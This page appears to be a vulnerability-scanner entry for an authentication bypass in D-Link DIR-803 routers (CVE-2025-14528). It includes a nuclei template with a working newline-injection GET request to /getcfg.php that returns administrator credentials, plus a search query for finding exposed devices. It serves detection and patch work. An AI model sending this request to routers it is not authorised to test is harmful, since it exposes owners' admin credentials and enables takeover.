D-Link DIR-803 - Authentication Bypass

highseverity

5.3CVSS score

4.3%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

An authentication bypass vulnerability exists in D-Link DIR-803 routers (firmware A1 1.04 and earlier). By manipulating the AUTHORIZED_GROUP parameter in /getcfg.php via newline injection, an attacker can retrieve XML configuration containing administrator credentials without authentication.

Impact

Remote attackers can disclose sensitive information, potentially compromising device confidentiality.

Fix

Upgrade to the latest supported version or replace the device as it is no longer maintained.

How to confirm it

Send: GET /getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1'
Positive when: contains "<entry>" and "<account>" and "<group>" AND contains in content_type "text/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2025-14528 -u <target>

The full check

id: CVE-2025-14528

info:
  name: D-Link DIR-803 - Authentication Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    An authentication bypass vulnerability exists in D-Link DIR-803 routers (firmware A1 1.04 and earlier). By manipulating the AUTHORIZED_GROUP parameter in /getcfg.php via newline injection, an attacker can retrieve XML configuration containing administrator credentials without authentication.
  impact: |
    Remote attackers can disclose sensitive information, potentially compromising device confidentiality.
  remediation: |
    Upgrade to the latest supported version or replace the device as it is no longer maintained.
  reference:
    - https://github.com/Madgeaaaaa/MY_VULN_2/blob/main/D-Link/vuln-2/DIR-803%20Authentication%20Bypass.md
    - https://vuldb.com/?id.335869
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14528
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-14528
    epss-score: 0.03991
    epss-percentile: 0.90599
    cwe-id: CWE-200
  metadata:
    max-request: 1
    verified: true
    fofa-query: app="D_Link-DIR-803"
  tags: cve,cve2025,d-link,dir,auth-bypass,disclosure,vkev

http:
  - raw:
      - |
        GET /getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<entry>"
          - "<account>"
          - "<group>"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from